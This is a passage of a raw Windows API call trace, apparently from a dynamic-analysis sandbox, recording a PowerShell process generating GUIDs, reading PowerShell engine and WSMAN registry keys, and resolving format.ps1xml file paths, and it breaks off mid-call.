pguid=0x2ee818*(Data1=0x32af549d, Data2=0x7d03, Data3=0x456d, Data4=([0]=0xae, [1]=0x46, [2]=0x9d, [3]=0xc0, [4]=0x26, [5]=0x9f, [6]=0xcc, [7]=0x3d))) returned 0x0 [0064.995] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x37ac352f, Data2=0x8eaa, Data3=0x4d54, Data4=([0]=0xaf, [1]=0xe9, [2]=0x4f, [3]=0x19, [4]=0x69, [5]=0xec, [6]=0xd9, [7]=0x12))) returned 0x0 [0064.996] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xe0578a1, Data2=0x7ce0, Data3=0x4961, Data4=([0]=0x85, [1]=0xcd, [2]=0xa3, [3]=0xce, [4]=0x35, [5]=0xb9, [6]=0xb1, [7]=0xde))) returned 0x0 [0064.997] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x768bfbea, Data2=0xb5ce, Data3=0x484f, Data4=([0]=0x8f, [1]=0x7f, [2]=0x3, [3]=0x73, [4]=0x3b, [5]=0x62, [6]=0xfc, [7]=0x13))) returned 0x0 [0064.997] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x9bf1d764, Data2=0xf806, Data3=0x4bd3, Data4=([0]=0xb9, [1]=0x6a, [2]=0x9, [3]=0xa9, [4]=0x88, [5]=0xd9, [6]=0xe6, [7]=0x57))) returned 0x0 [0064.997] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x368b9de, Data2=0xfc04, Data3=0x44bf, Data4=([0]=0xab, [1]=0xc0, [2]=0xe1, [3]=0x94, [4]=0x21, [5]=0x3f, [6]=0x5, [7]=0xdb))) returned 0x0 [0064.998] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x8e8c56e0, Data2=0x6b55, Data3=0x4620, Data4=([0]=0xad, [1]=0xbb, [2]=0xf9, [3]=0xbb, [4]=0x2e, [5]=0xef, [6]=0x23, [7]=0xa6))) returned 0x0 [0064.998] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x23f2215b, Data2=0x20a9, Data3=0x4832, Data4=([0]=0xbc, [1]=0x2a, [2]=0x82, [3]=0xae, [4]=0x45, [5]=0x6a, [6]=0xd0, [7]=0xef))) returned 0x0 [0064.998] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x2ec5d75e, Data2=0x8b0d, Data3=0x406a, Data4=([0]=0xa1, [1]=0x2b, [2]=0x6b, [3]=0x95, [4]=0xe0, [5]=0x28, [6]=0xdf, [7]=0x9c))) returned 0x0 [0064.998] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x38c6391, Data2=0x9a57, Data3=0x4b18, Data4=([0]=0xba, [1]=0xed, [2]=0x1d, [3]=0xf4, [4]=0xc3, [5]=0x1d, [6]=0x52, [7]=0x94))) returned 0x0 [0065.001] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x3da71352, Data2=0xc482, Data3=0x42d2, Data4=([0]=0x80, [1]=0x94, [2]=0x52, [3]=0x9d, [4]=0xb7, [5]=0x7e, [6]=0xf9, [7]=0xbb))) returned 0x0 [0065.004] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xc48e6ae8, Data2=0x6a37, Data3=0x445b, Data4=([0]=0x88, [1]=0x16, [2]=0x16, [3]=0x51, [4]=0x15, [5]=0x1f, [6]=0x7e, [7]=0x6c))) returned 0x0 [0065.007] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xf4935f2d, Data2=0xf613, Data3=0x43b6, Data4=([0]=0x88, [1]=0x59, [2]=0x51, [3]=0x56, [4]=0x6a, [5]=0x45, [6]=0x1b, [7]=0x76))) returned 0x0 [0065.007] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xd4fa90eb, Data2=0xd64a, Data3=0x45be, Data4=([0]=0xbf, [1]=0xd9, [2]=0x9, [3]=0x82, [4]=0x93, [5]=0x15, [6]=0xef, [7]=0xb4))) returned 0x0 [0065.007] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x4e50ed8b, Data2=0xdd1c, Data3=0x45b8, Data4=([0]=0x8f, [1]=0x93, [2]=0x5e, [3]=0x6c, [4]=0x72, [5]=0xad, [6]=0xf9, [7]=0x2b))) returned 0x0 [0065.007] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x4c17f2e2, Data2=0xee4e, Data3=0x4546, Data4=([0]=0xb6, [1]=0xf6, [2]=0x53, [3]=0xe4, [4]=0x25, [5]=0xe, [6]=0x83, [7]=0xd6))) returned 0x0 [0065.008] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xca65170f, Data2=0x5eb2, Data3=0x484c, Data4=([0]=0xa7, [1]=0x11, [2]=0xfb, [3]=0xa4, [4]=0x1a, [5]=0xc6, [6]=0x45, [7]=0x51))) returned 0x0 [0065.008] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x10733113, Data2=0x96b3, Data3=0x4f1b, Data4=([0]=0xa0, [1]=0x5d, [2]=0x75, [3]=0x91, [4]=0x91, [5]=0x73, [6]=0x9b, [7]=0x5f))) returned 0x0 [0065.008] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xc441635, Data2=0x734f, Data3=0x41bc, Data4=([0]=0x95, [1]=0xd8, [2]=0x30, [3]=0xc0, [4]=0x13, [5]=0x8a, [6]=0x93, [7]=0x29))) returned 0x0 [0065.008] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x92ff9a80, Data2=0xe52d, Data3=0x413e, Data4=([0]=0xab, [1]=0x4f, [2]=0x1e, [3]=0xaf, [4]=0xd4, [5]=0xe3, [6]=0x7b, [7]=0xb4))) returned 0x0 [0065.015] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee7a8 | out: phkResult=0x2ee7a8*=0x31c) returned 0x0 [0065.016] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x0, lpcbData=0x2ee7ec*=0x0 | out: lpType=0x2ee7f0*=0x1, lpData=0x0, lpcbData=0x2ee7ec*=0x56) returned 0x0 [0065.016] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x413238, lpcbData=0x2ee7ec*=0x56 | out: lpType=0x2ee7f0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2ee7ec*=0x56) returned 0x0 [0065.016] RegCloseKey (hKey=0x31c) returned 0x0 [0065.016] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0065.016] GetLastError () returned 0x0 [0065.016] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0065.016] GetLastError () returned 0x0 [0065.020] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x99ebf2b1, Data2=0xbbb4, Data3=0x4053, Data4=([0]=0xa4, [1]=0x80, [2]=0x9c, [3]=0x92, [4]=0xf1, [5]=0x21, [6]=0xb0, [7]=0xfa))) returned 0x0 [0065.021] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x853fd5d8, Data2=0xda40, Data3=0x4e45, Data4=([0]=0xbd, [1]=0x3f, [2]=0xc5, [3]=0x99, [4]=0x11, [5]=0x72, [6]=0xf3, [7]=0x3c))) returned 0x0 [0065.021] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xd10c35f5, Data2=0x8288, Data3=0x482d, Data4=([0]=0x9e, [1]=0x44, [2]=0x99, [3]=0xb3, [4]=0xe8, [5]=0x5, [6]=0x3f, [7]=0x4e))) returned 0x0 [0065.021] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x7e644ecd, Data2=0xea61, Data3=0x4bf0, Data4=([0]=0xb8, [1]=0x24, [2]=0xf6, [3]=0xed, [4]=0xec, [5]=0x60, [6]=0x9e, [7]=0xbd))) returned 0x0 [0065.021] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x3de52490, Data2=0x58db, Data3=0x4887, Data4=([0]=0x8e, [1]=0x24, [2]=0x31, [3]=0xad, [4]=0xbb, [5]=0x5a, [6]=0x48, [7]=0x64))) returned 0x0 [0065.021] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x2ab6c2c0, Data2=0x55b1, Data3=0x4bf8, Data4=([0]=0x92, [1]=0x58, [2]=0x9, [3]=0xc4, [4]=0x87, [5]=0x33, [6]=0xb8, [7]=0x60))) returned 0x0 [0065.021] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x7bcda6fa, Data2=0x37d0, Data3=0x4a47, Data4=([0]=0xbf, [1]=0x68, [2]=0x90, [3]=0x55, [4]=0x93, [5]=0x14, [6]=0xf, [7]=0xa9))) returned 0x0 [0065.022] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x1a34fc80, Data2=0xfbc1, Data3=0x46ea, Data4=([0]=0xaf, [1]=0x49, [2]=0xf2, [3]=0x6d, [4]=0xa7, [5]=0x36, [6]=0x26, [7]=0xa8))) returned 0x0 [0065.022] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x61c9a72e, Data2=0xac1f, Data3=0x45b5, Data4=([0]=0x97, [1]=0x34, [2]=0x3c, [3]=0x78, [4]=0xd8, [5]=0x66, [6]=0x1a, [7]=0x35))) returned 0x0 [0065.022] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xf012aef7, Data2=0xdb0b, Data3=0x44f2, Data4=([0]=0xa2, [1]=0x22, [2]=0x5b, [3]=0x7f, [4]=0x19, [5]=0x3e, [6]=0xa9, [7]=0x3b))) returned 0x0 [0065.022] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x30d39c62, Data2=0x4f35, Data3=0x43e8, Data4=([0]=0x8b, [1]=0xd3, [2]=0xec, [3]=0x70, [4]=0x3d, [5]=0x94, [6]=0xf9, [7]=0xd0))) returned 0x0 [0065.022] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x24acb217, Data2=0x2210, Data3=0x4588, Data4=([0]=0xaf, [1]=0x11, [2]=0xe9, [3]=0xf0, [4]=0x9d, [5]=0x1d, [6]=0x34, [7]=0x29))) returned 0x0 [0065.022] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xab7095cf, Data2=0x17c4, Data3=0x4a89, Data4=([0]=0x88, [1]=0x3e, [2]=0x9, [3]=0x36, [4]=0x93, [5]=0x33, [6]=0x25, [7]=0xd7))) returned 0x0 [0065.023] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xc10e4dbe, Data2=0xc25d, Data3=0x4a94, Data4=([0]=0x85, [1]=0xa, [2]=0x13, [3]=0x9d, [4]=0x47, [5]=0xe9, [6]=0xa6, [7]=0xa1))) returned 0x0 [0065.023] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x256a5d62, Data2=0xb06e, Data3=0x4e6c, Data4=([0]=0xa8, [1]=0x7a, [2]=0x89, [3]=0xb2, [4]=0x18, [5]=0xfe, [6]=0x25, [7]=0x88))) returned 0x0 [0065.023] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x927e79f9, Data2=0x781d, Data3=0x4f21, Data4=([0]=0x89, [1]=0x9b, [2]=0x20, [3]=0xd, [4]=0xd, [5]=0x33, [6]=0x7f, [7]=0xbf))) returned 0x0 [0065.023] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x91ec84d0, Data2=0x575c, Data3=0x456e, Data4=([0]=0xbf, [1]=0x6c, [2]=0xc9, [3]=0xe4, [4]=0xcc, [5]=0x4f, [6]=0x49, [7]=0xca))) returned 0x0 [0065.023] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x71c158f2, Data2=0xfd5e, Data3=0x42f6, Data4=([0]=0xa4, [1]=0xfd, [2]=0x32, [3]=0xb5, [4]=0xe4, [5]=0xcd, [6]=0xe4, [7]=0xc3))) returned 0x0 [0065.023] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x89ca67c7, Data2=0xf5b3, Data3=0x4b65, Data4=([0]=0x85, [1]=0x89, [2]=0x2c, [3]=0x8b, [4]=0x7f, [5]=0x96, [6]=0xcc, [7]=0xa4))) returned 0x0 [0065.024] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xc544c17, Data2=0x11f7, Data3=0x4b32, Data4=([0]=0xb4, [1]=0xe2, [2]=0x96, [3]=0x4c, [4]=0x8f, [5]=0x95, [6]=0xd1, [7]=0x91))) returned 0x0 [0065.024] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xe728dcce, Data2=0x9281, Data3=0x4922, Data4=([0]=0x99, [1]=0x7d, [2]=0x1, [3]=0x80, [4]=0x5f, [5]=0x38, [6]=0x28, [7]=0x9e))) returned 0x0 [0065.024] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xdb8cbc4f, Data2=0x6b37, Data3=0x4b14, Data4=([0]=0x82, [1]=0xd8, [2]=0xda, [3]=0xc4, [4]=0xe2, [5]=0x75, [6]=0x89, [7]=0x8c))) returned 0x0 [0065.024] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xcd2e248e, Data2=0xa62b, Data3=0x4876, Data4=([0]=0x84, [1]=0x6e, [2]=0xb0, [3]=0x47, [4]=0xfa, [5]=0x1b, [6]=0x53, [7]=0x4c))) returned 0x0 [0065.025] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xddaab82c, Data2=0xf9f8, Data3=0x4beb, Data4=([0]=0x9e, [1]=0x71, [2]=0x18, [3]=0x2c, [4]=0x1c, [5]=0x3d, [6]=0x17, [7]=0xd8))) returned 0x0 [0065.025] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x9f69e796, Data2=0xeee5, Data3=0x4560, Data4=([0]=0xa2, [1]=0xc0, [2]=0xb5, [3]=0x7, [4]=0x2b, [5]=0x9f, [6]=0x80, [7]=0xb8))) returned 0x0 [0065.025] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x946723e2, Data2=0x93d2, Data3=0x4edb, Data4=([0]=0x9b, [1]=0xe7, [2]=0x2d, [3]=0x25, [4]=0x8d, [5]=0x9d, [6]=0x9f, [7]=0xb7))) returned 0x0 [0065.025] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xf2ef68, Data2=0xa956, Data3=0x40bd, Data4=([0]=0x83, [1]=0xbe, [2]=0xb8, [3]=0xe4, [4]=0xd8, [5]=0x62, [6]=0xb, [7]=0x66))) returned 0x0 [0065.025] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x9572007f, Data2=0xa5ea, Data3=0x4d52, Data4=([0]=0x89, [1]=0x56, [2]=0xb5, [3]=0xf, [4]=0xd8, [5]=0xd7, [6]=0xa0, [7]=0x7e))) returned 0x0 [0065.025] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xcbff17e9, Data2=0xb0a9, Data3=0x4386, Data4=([0]=0x94, [1]=0xd3, [2]=0x90, [3]=0xfd, [4]=0xfa, [5]=0x35, [6]=0xb5, [7]=0x57))) returned 0x0 [0065.026] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x7892bd, Data2=0xe7f2, Data3=0x4f59, Data4=([0]=0x8d, [1]=0xe3, [2]=0x2c, [3]=0x8a, [4]=0x2c, [5]=0x5f, [6]=0xc3, [7]=0x47))) returned 0x0 [0065.026] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xeae803d7, Data2=0x8759, Data3=0x4ceb, Data4=([0]=0x81, [1]=0xe9, [2]=0x1a, [3]=0x9e, [4]=0x7d, [5]=0x94, [6]=0x33, [7]=0x39))) returned 0x0 [0065.026] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xcf520976, Data2=0x1097, Data3=0x499b, Data4=([0]=0xa7, [1]=0x57, [2]=0xd2, [3]=0x5c, [4]=0x36, [5]=0x9d, [6]=0x3e, [7]=0xeb))) returned 0x0 [0065.026] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x84989b34, Data2=0x6cfd, Data3=0x45df, Data4=([0]=0x93, [1]=0x7c, [2]=0x54, [3]=0xbf, [4]=0x47, [5]=0xc7, [6]=0x7a, [7]=0x74))) returned 0x0 [0065.029] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x4aeb26db, Data2=0x6f2e, Data3=0x4208, Data4=([0]=0xbc, [1]=0x29, [2]=0x4b, [3]=0xd0, [4]=0x5d, [5]=0x8f, [6]=0x4d, [7]=0x9b))) returned 0x0 [0065.029] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x58166237, Data2=0xcb16, Data3=0x451e, Data4=([0]=0xb2, [1]=0x2c, [2]=0x78, [3]=0x89, [4]=0x1, [5]=0x78, [6]=0xfa, [7]=0x43))) returned 0x0 [0065.029] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x10353ccf, Data2=0x7ae5, Data3=0x45cb, Data4=([0]=0xa8, [1]=0x99, [2]=0xd4, [3]=0x91, [4]=0x3, [5]=0xf3, [6]=0xce, [7]=0x4a))) returned 0x0 [0065.029] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xc0490124, Data2=0x1d95, Data3=0x4acf, Data4=([0]=0xb8, [1]=0x17, [2]=0x8d, [3]=0xd, [4]=0xd3, [5]=0x7, [6]=0xd6, [7]=0x90))) returned 0x0 [0065.029] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xbd21f37f, Data2=0xeec4, Data3=0x4158, Data4=([0]=0xa3, [1]=0x1b, [2]=0xfa, [3]=0x71, [4]=0x27, [5]=0x32, [6]=0xd, [7]=0xd5))) returned 0x0 [0065.029] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xde187f66, Data2=0x3562, Data3=0x408d, Data4=([0]=0x92, [1]=0x9c, [2]=0x65, [3]=0xf7, [4]=0x6b, [5]=0x51, [6]=0x3, [7]=0x9b))) returned 0x0 [0065.030] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x173b9b91, Data2=0x28a0, Data3=0x4b52, Data4=([0]=0xb3, [1]=0x83, [2]=0x41, [3]=0xae, [4]=0xf5, [5]=0x9f, [6]=0x60, [7]=0xaa))) returned 0x0 [0065.030] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xa96c61c7, Data2=0x2fc8, Data3=0x4266, Data4=([0]=0xa8, [1]=0xff, [2]=0x72, [3]=0x50, [4]=0x15, [5]=0x83, [6]=0x75, [7]=0x8b))) returned 0x0 [0065.030] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xb1148267, Data2=0x53b5, Data3=0x48a7, Data4=([0]=0xb4, [1]=0xcc, [2]=0x47, [3]=0x7a, [4]=0x60, [5]=0xe7, [6]=0x51, [7]=0x6d))) returned 0x0 [0065.030] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x2aac4251, Data2=0xb81f, Data3=0x4526, Data4=([0]=0x98, [1]=0x2, [2]=0xbe, [3]=0xf4, [4]=0x32, [5]=0xbe, [6]=0x52, [7]=0xdd))) returned 0x0 [0065.031] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0xf49cc17c, Data2=0xf7d1, Data3=0x47d9, Data4=([0]=0x90, [1]=0xa, [2]=0x33, [3]=0x61, [4]=0x2a, [5]=0x82, [6]=0x1c, [7]=0x74))) returned 0x0 [0065.031] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x3f1c97ae, Data2=0xe033, Data3=0x48a1, Data4=([0]=0x97, [1]=0xac, [2]=0x5c, [3]=0x95, [4]=0xac, [5]=0xdf, [6]=0xcf, [7]=0x8b))) returned 0x0 [0065.031] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x49e75dae, Data2=0x7ce4, Data3=0x4547, Data4=([0]=0x99, [1]=0xfa, [2]=0xee, [3]=0xdc, [4]=0x7c, [5]=0x3c, [6]=0xc6, [7]=0xc7))) returned 0x0 [0065.031] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x20ffcc62, Data2=0x141e, Data3=0x43b2, Data4=([0]=0xa3, [1]=0xf2, [2]=0x2b, [3]=0x29, [4]=0xc4, [5]=0x1a, [6]=0x24, [7]=0x93))) returned 0x0 [0065.031] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x9efc3333, Data2=0xb272, Data3=0x4f42, Data4=([0]=0x85, [1]=0xb7, [2]=0x92, [3]=0xc6, [4]=0x70, [5]=0xcc, [6]=0xa1, [7]=0x15))) returned 0x0 [0065.038] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee7a8 | out: phkResult=0x2ee7a8*=0x31c) returned 0x0 [0065.038] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x0, lpcbData=0x2ee7ec*=0x0 | out: lpType=0x2ee7f0*=0x1, lpData=0x0, lpcbData=0x2ee7ec*=0x56) returned 0x0 [0065.038] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x413238, lpcbData=0x2ee7ec*=0x56 | out: lpType=0x2ee7f0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2ee7ec*=0x56) returned 0x0 [0065.038] RegCloseKey (hKey=0x31c) returned 0x0 [0065.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0065.038] GetLastError () returned 0x0 [0065.038] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0065.038] GetLastError () returned 0x0 [0065.039] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x23bdb8c4, Data2=0x41d7, Data3=0x4561, Data4=([0]=0x81, [1]=0xe4, [2]=0x9f, [3]=0x3f, [4]=0x6b, [5]=0xcb, [6]=0x14, [7]=0x7c))) returned 0x0 [0065.040] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x5fe1e15, Data2=0xfc5f, Data3=0x48ee, Data4=([0]=0xb1, [1]=0x66, [2]=0xa4, [3]=0x4e, [4]=0xab, [5]=0x7d, [6]=0xd, [7]=0xe))) returned 0x0 [0065.066] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee7a8 | out: phkResult=0x2ee7a8*=0x31c) returned 0x0 [0065.066] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x0, lpcbData=0x2ee7ec*=0x0 | out: lpType=0x2ee7f0*=0x1, lpData=0x0, lpcbData=0x2ee7ec*=0x56) returned 0x0 [0065.066] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2ee7f0, lpData=0x413238, lpcbData=0x2ee7ec*=0x56 | out: lpType=0x2ee7f0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2ee7ec*=0x56) returned 0x0 [0065.066] RegCloseKey (hKey=0x31c) returned 0x0 [0065.066] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0065.066] GetLastError () returned 0x0 [0065.066] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2ee2e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0065.066] GetLastError () returned 0x0 [0065.067] VirtualQuery (in: lpAddress=0x2ed500, lpBuffer=0x2ee500, dwLength=0x1c | out: lpBuffer=0x2ee500*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0065.068] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x3ceacb55, Data2=0xde16, Data3=0x4b9d, Data4=([0]=0x91, [1]=0x54, [2]=0x3a, [3]=0xab, [4]=0xc8, [5]=0x2c, [6]=0x70, [7]=0xd5))) returned 0x0 [0065.068] CoCreateGuid (in: pguid=0x2ee818 | out: pguid=0x2ee818*(Data1=0x5e27b2f4, Data2=0x22d1, Data3=0x4056, Data4=([0]=0x80, [1]=0xd9, [2]=0xba, [3]=0x57, [4]=0xe4, [5]=0x71, [6]=0xf7, [7]=0xd7))) returned 0x0 [0065.077] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee89c | out: phkResult=0x2ee89c*=0x31c) returned 0x0 [0065.078] RegQueryInfoKeyW (in: hKey=0x31c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x2ee8ec, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2ee8f0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x2ee8ec*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2ee8f0*=0x2, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.080] RegEnumValueW (in: hKey=0x31c, dwIndex=0x0, lpValueName=0x413238, lpcchValueName=0x2ee914, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x2ee914, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0065.080] RegEnumValueW (in: hKey=0x31c, dwIndex=0x1, lpValueName=0x413238, lpcchValueName=0x2ee914, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x2ee914, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0065.080] RegQueryValueExW (in: hKey=0x31c, lpValueName="StackVersion", lpReserved=0x0, lpType=0x2ee8f4, lpData=0x0, lpcbData=0x2ee8f0*=0x0 | out: lpType=0x2ee8f4*=0x1, lpData=0x0, lpcbData=0x2ee8f0*=0x8) returned 0x0 [0065.080] RegQueryValueExW 